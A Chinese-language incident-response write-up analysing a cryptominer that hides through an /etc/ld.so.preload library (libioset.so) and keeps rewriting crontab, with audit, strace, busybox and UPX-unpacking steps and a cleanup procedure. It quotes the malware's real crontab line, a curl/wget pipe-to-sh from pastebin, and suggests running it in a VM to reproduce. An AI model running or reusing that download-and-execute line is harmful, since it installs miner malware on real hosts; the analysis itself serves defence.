这周处理了一次对自己而言比较棘手的挖矿事件,和常规的挖矿不同,表现出来的是crontab无法恢复和删除,这就导致无法彻底清理。
样本也是加了UPX最新的壳,一开始也没弄清楚它实现crontab无法删除的原理,后来用audit才搞清楚到底是什么地方出了问题。
网上一开始也没有相关的处理方法,直到后来自己根据其行为写出了清理脚本发现网上陆续有了分析和清理方法,自己也做个记录,还是很有意思的。
作者:古月蓝旻
一次熟悉又不熟悉的挖矿应急
2019年2月21号下午,小古原本还在分析Jenkins插件的RCE漏洞的时候,突然接到通知:上海某客户多台主机出现了挖矿现象,需要紧急处理。
再和客户简单沟通以后,得到了以下信息:
1. 内网多台主机出现挖矿行为,主机中招总数未知,不清楚如何进入;
2. 使用系统自带ps、top等命令查看发现进程CPU占用无明显异常,但是负载升高,正常业务运行缓慢;
3. crontab中出现一条异常规则,但始终无法清除
嗯,得到上述信息以后,小古感觉到这次的挖矿似乎和以往不太一样,对于挖矿入侵的途径,小古大致知晓常规也就那些:Redis未授权访问、SSH弱口令、反序列化漏洞等。ps和top查不到也正常,部分挖矿会修改系统命令,过滤命令输出结果,但是crontab始终无法清除小古还是第一回遇见。
经过一系列努力和其它小伙伴的一些帮助下,小古终于了解了整个挖矿木马的行为和不能修改crontab的原因,也写出了清理的脚本,这里小古找了自己的一台虚拟机,新建镜像以后决定复盘一下挖矿木马的行为和排查的思路。
挖矿复现
测试机操作系统:CentOS 6.9 64位
外网连通性:可访问外网
在客户机器上,小古发现该主机的redis服务使用的是空口令,但是未配置redis日志,登录redis查看后,亦无特别明显可疑dbfilename,同时SSH登录日志和密钥也被清空,因此只能推测相关主机是由于redis漏洞被入侵,而无法
判断一定通过该方式进入。
当然小古的测试机上没有安装redis,待会打算通过直接运行受害主机crontab命令的方式来模拟感染该挖矿木马,我们先看下相关主机未中招前的状态
CPU占用为0,负载低
netstat命令正常、crontab正常
好了,现在我们从受害主机提取相关crontab
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
注:如需复现请谨慎运行,请在虚拟机中测试,直接运行,30s后,我们再看下相关主机情况(如无法运行请逐步访问相关上述链接,base64解码转成shell脚本后执行)
CPU占用依然为0,但右上角负载已高达2.08
系统负载load average的3个数值分别代表1,5,15分钟内系统平均负载,即在特定时间间隔内运行队列中(在CPU上运行或者等待运行多少进程)的平均进程数
一般而言la低于1.0说明系统负载正常,超过1代表目前系统负载已经超出负荷,而上图中的2.08表明目前CPU中进程已经造成了两倍以上的系统负载
此时查看crontab发现目前已经变成了一条和挖矿程序相关的规则,同时netstat命令也已经丢失
使用ss命令查看当前连接情况
可以看到当前主机连接了多个IP的6379端口
同时,小古来到crontab配置文件所在目录下/var/spool/cron,发现多出了crontabs文件夹,root的大小也变了
小古测试了一下,直接删除或者修改root文件内容,当再次查看时,该文件还是雷打不动,且文件atime、mtime、ctime一直在发生变化,但文件内容始终不变
使用lsattr查看相关文件也并没添加a或者i权限,这令小古有些摸不着头脑
嗯,为了追根溯源,在宫司机的推荐下,小古使用了audit命令对相关文件进行了监控,看看是哪些命令在搞事情
audit可以将审计记录写入日志文件,包括记录系统调用和文件访问,管理员可以检查这些日志来分析系统中谁对相关文件进行了读写操作。
比如我有一个文件/root/wk/test1.txt,我想知道谁对这个文件进行了读写操作我该怎么办呢
先启动一下audit
service auditd restart ### CentOS/RHEL 6
systemctl restart auditd ### CentOS/RHEL 7
加条audit规则即可
auditctl -w /root/wk/test1.txt -p war -k testad
-w后跟文件绝对路径
-p [r|w|x|a] 和-w一起使用,监测用户对这个目录的读 写 执行 或者属性变化如时间戳变化
-k后跟规则名关键字,方便在日志中筛选
-D删除所有规则
然后读取一下/root/wk/test1.txt
此时去audit日志文件/var/log/audit/audit.log中查看,果然找到了,是/bin/cat命令干的
用同样的思路,我们监控一下/var/spool/cron/root文件
auditctl -w /var/spool/cron/root -p war -k cronad
然后监控一下日志中关键字是cronad的记录
tail -f /var/log/audit/audit.log |grep cronad
我们先把这个文件删除了,日志中找到了相关记录
然后,果然发现了不对
居然是ls命令触发,那么大概率是预加载了恶意动态链接库导致的,我们查看一下ls命令都加载了哪些动态链接库吧
先看下执行挖矿程序前的
ldd `which ls`
那么执行完挖矿程序以后,我们再看一下
多了/usr/local/lib/libioset.so,这是个啥?
使用相关命令查看该文件,发现根本没有这个文件啊,当然小古也留意到,包括file和stat等命令里都是有这段so的,既然这么多命令里都有它,说明问题可能出在linux的预加载动态链接库配置文件/etc/ld.so.preload上,这个之前小伙伴还在freebuf上发了一篇文章专门提过这茬警惕利用Linux预加载型恶意动态链接库的后门
好吧我们去看一下/etc/ld.so.preload
嗯...没有这个文件,是真的没有吗?我们拿strace命令跟踪一下系统调用看一眼好了
strace -f -e trace=file /bin/ls
很显然,两位大哥都是在的,说明现在的系统输出结果是不可信的,难怪top查看系统进程,负载很高确找不到恶意进程,这个时候我们可以用同版本系统编译的命令来查,当然比较麻烦,这个时候还是祭出linux操作系统应急响应必备的busybox好了
wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
chmod +x busybox
然后找下两位隐藏的大哥
两位大哥一旦遇到其它的ls果然就显出了原形,在看下ld.so.preload写了什么
果然加载了/usr/local/lib/libioset.so,写在ld.so.preload里,命令执行的时候都会过/usr/local/lib/libioset.so处理一遍,难怪查不出什么东西来,看来可能是对文件名做了过滤,那我们做个实验好了
在任意目录下创建一个名称叫libioset.so的文件试试
看来不行啊,建一个libioset.txt然后改名呢?
可以改名,而且改名后的文件我们看不到,使用busybox才让这个文件显出了原形,看来果然有文件名过滤
那么这个so到底干了啥呢?小古利用busybox将/usr/local/lib/libioset.so拿了出来丢IDA里看了一下,在一个名为access的函数里,小古看到了这样的语句
其实就是把挖矿规则写入到了/etc/cron.d/root、/var/spool/cron/root等计划任务文件里,同时过滤了一下输出结果的关键字,对于包含ksoftirqds
、ld.so.preload
、libioset.so
字符串的输出结果不返回
分析到这里,小古明白了为什么crontab始终清除不掉的原因了:
用户每正常执行一条命令都会过libioset.so,而该so会向上述计划任务文件里写入相关规则,使得只要执行了命令,计划任务就一直在被写入
同时由于上述关键字被过滤,导致用户使用系统自带命令无法查到ld.so.preload和libioset.so
相较于之前的挖矿程序,这个显然更狡猾,具备的隐蔽性也更高
当然使用busybox自带的top,小古也发现了当前系统中真正搞事的两位大哥
样本分析
知道了该挖矿样本部分的手段之后,小古还是想分析一下样本整个的执行流程,虽说沙箱分析又快又准确,但是小古还是想自己完整过一遍流程
首先redis中招那部分先不提了,我们直接看crontab
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
pastebin.com这个域名小古已经在多次应急过程中和它打交道了,这个网站目前经常被用于传播挖矿木马脚本,因为匿名性相对较高,逼得一些国内运营商甚至直接屏蔽该域名,所以这波挖矿没有中招的主机也许并非是自己安全做的还可以,而是运营商帮你挡了一波
直接访问相关地址,可以看到又跳到了另外一个url,不过后面跟了一波base64解码
再跟进一下https://pastebin.com/raw/tqJjUD9d,果然是base64加密的内容,解码内容如下
脚本挺长的,概括以下有这几个功能
1. 每10分钟下载一下自己的脚本程序并执行
2. 杀死其它挖矿进程
3. 解开部分系统重要文件权限防止自身程序无法写入
4. 删除主机原计划任务、动态链接库、命令等文件(netstat命令对应文件就是此处被删除)
5. 干掉一切高负载进程
6. 根据系统内核版本下载对应挖矿程序,命名为watchdogs并运行
7. 利用当前帐号私钥尝试免密登录known_hosts中主机横向传播
8. 清理系统重要日志
可以说功能相当齐全,不愧是一个成熟的挖矿程序,当然分析到这里还有问题
1. 为什么通过ss查看会有一堆针对其它IP 6379端口的连接?
2. libioset.so中提到的ksoftirqds是什么?
看来光看脚本还是没法完整梳理所有细节啊,脚本中也有这么一段
我们看到了第二个倒霉的中招域名http://thyrsi.com,它是专门用来提供图床的,又被用来传播挖矿程序,也是醉了,伪装成图片的二进制程序watchdogs到底干了啥呢,我们直接分析一下好了。
小古于是下载了脚本中的watchdogs,导入IDA中一看
嗯,确认过眼神,是加过壳的程序,UPX 3.95版本
小古顿时醉了,Windows程序加壳也就算了,开源的Linux系统对可执行程序加壳,加的还是UPX这种压缩壳,真的是脑回路清奇,小古差点以为是要对付一个安卓的加壳APK,后来发现完全多想,可能是用于阻挡极少数对壳没有接触过的分析人员
好了,既然加了壳,就解一下好了,小古去了UPX官网下了最新版本的UPX程序,简单解压了一下
https://github.com/upx/upx/releases,注意arm和amd的区别
解压之前我们顺便看下文件头能不能看到
readelf -e watchdogs
果然文件头、段头这些都是不行的,程序头也是不完整的,典型的加壳特征
好了现在我们使用同版本的UPX程序解压一下
不得不说这个UPX的压缩率挺高的,3.8M文件解压完就是6.6M,这时候看下文件头这些呢?
果然都可以正常读到了,这个时候改一下名称叫wathcdogs_de,再用IDA试一下
是用go语言写的一段程序,Function name全是sub xxxx的风格,太蛋疼,小古问同事要了一段针对这种修复函数名的脚本,导入IDA中
效果拔群,其中也发现了疑似加载redis go语音客户端项目的字符串
小古也去该项目看了一眼,果然该项目还可以正常访问
通过函数名,小古大致也猜出了相关程序可能执行的操作,由于时间有限,小古也就没有继续深入分析,还是想着丢沙盒里看一下完整的行为分析
小古遂把样本直接丢到友商微步在线的沙盒里看了一下
首先该样本直接过了所有杀毒软件查杀引擎,这传的还是UPX解压后的程序,不过好在该样本连接矿池的行为被发现因此被报恶意
当然对小古而言,主要看创建的进程和释放/修改/删除文件等情况
有了这些,结合前面小古的分析,就能写出清理的脚本了
挖矿清理
通过上面的分析,小古决定对挖矿程序进行一波清理
Step1: 下载busybox,并赋予执行权限
wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
chmod +x busybox
由于系统命令输出不可信,所以使用编译好的busybox最为合适
Step2: 找到并结束恶意挖矿进程ksoftirqds和watchdogs
./busybox ps aux |grep -E "ksoftirqds|watchdogs" |grep -v grep |awk '{print $1}' |xargs kill -9 >/dev/null 2>&1
组合命令方式杀死进程最为高效合适,同时也无需关注输出
Step3: 删除以下恶意程序创建或修改的文件并更新动态链接库加载
/etc/ld.so.preload
/etc/ld.so.cache
/usr/sbin/watchdogs
/usr/local/lib/libioset.so
/var/spool/cron/crontabs/root
/tmp/.lsdpid
/usr/sbin/watchdogs
/var/spool/cron/root
/etc/cron.d/root
/etc/rc.d/init.d/watchdogs
当然也是用busybox删除
使用ldconfig命令使得新的系统动态链接库生效
ldconfig
Step4: 删除恶意程序开机启动项
./busybox chkconfig --del watchdogs >/dev/null 2>&1
其实到这里一般就够了,也不需要重启系统,但是为了防止再次恶意感染,首先修复系统本身高危漏洞和配置是非常重要的(比如redis未授权访问漏洞和SSH免密登录等),但有时受限于业务我们无法修复相关漏洞,所以临时解决方法是让主机无法对包含恶意挖矿程序的域名进行解析
Step5: 限制对恶意程序所在域名解析(可选)
./busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
Step6: 修复netstat命令(可选)
不要忘了前面说过了,该挖矿程序删除了系统自带的netstat命令所在文件,如果你需要修复的话可以自行修复一下
yum -y install net-tools #RedHat系列主机
apt-get -y install net-tools #Debian系列主机
当然如果这种方式都无法完成修复,你也可以去同版本操作系统拷贝一个/bin/netstat文件到本机
当然以上步骤建议写成一个脚本的方式直接运行方便又快捷,写脚本不是小古的强项,网上已经有一些清理的脚本,但是或多或少有些地方遗漏有些地方多余,如果你是一个脚本的达人,建议自己写一下相关脚本用于清理。
目前青藤也将相关挖矿的特征添加了规则,可以用于在线或更新规则后检测
总结
本次应急其实到第二天的时候,小古基本已经摸清相关套路了,通过和其它同行沟通,小古也了解到这两天多家友商的很多客户同样遇到了类似的问题。
不同于之前的挖矿,几乎对预加载动态链接库没有涉及,本次挖矿程序从专业度和成熟度上更胜以往,后期可能还会出现新的变种,还是需要提高警惕以及不断学习,攻防对抗永无止境,希望能以本文为例,为各位在今后的应急响应过程中提供排查思路和处理方法!
还不快抢沙发